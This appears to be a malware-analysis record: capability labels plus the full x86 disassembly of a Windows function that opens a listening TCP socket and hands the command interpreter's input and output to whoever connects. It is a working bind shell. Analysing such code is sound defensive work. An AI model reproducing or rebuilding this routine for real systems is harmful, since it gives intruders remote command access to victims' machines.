Function at 0x401716
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Get comspec environment variable
Initialize winsock library
Query environment variable
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov eax, dword [ebp + 8]
mov word [ebp - 0x30c], ax
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x304]
mov dword [esp + 4], eax
mov dword [esp], str.COMSPEC
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x190
mov dword [esp + 4], 0
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x54]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [socka.sin_zero]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x204]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov dword [esp], str.0.0.0.0
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x70], eax
movzx eax, word [ebp - 0x30c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x72], ax
mov word [ebp - 0x74], 2
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_bind]
call eax
sub esp, 0xc
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_listen]
call eax
sub esp, 8
mov dword [ebp - 0x308], 0x10
lea eax, [ebp - 0x308]
mov dword [esp + 8], eax
lea eax, [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_accept]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x24], 0
mov dword [ebp - 0x28], 0x101
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
lea eax, [socka.sin_zero]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x54]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x304]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [socka.sin_zero]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [socka.sin_zero]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
nop
leave
ret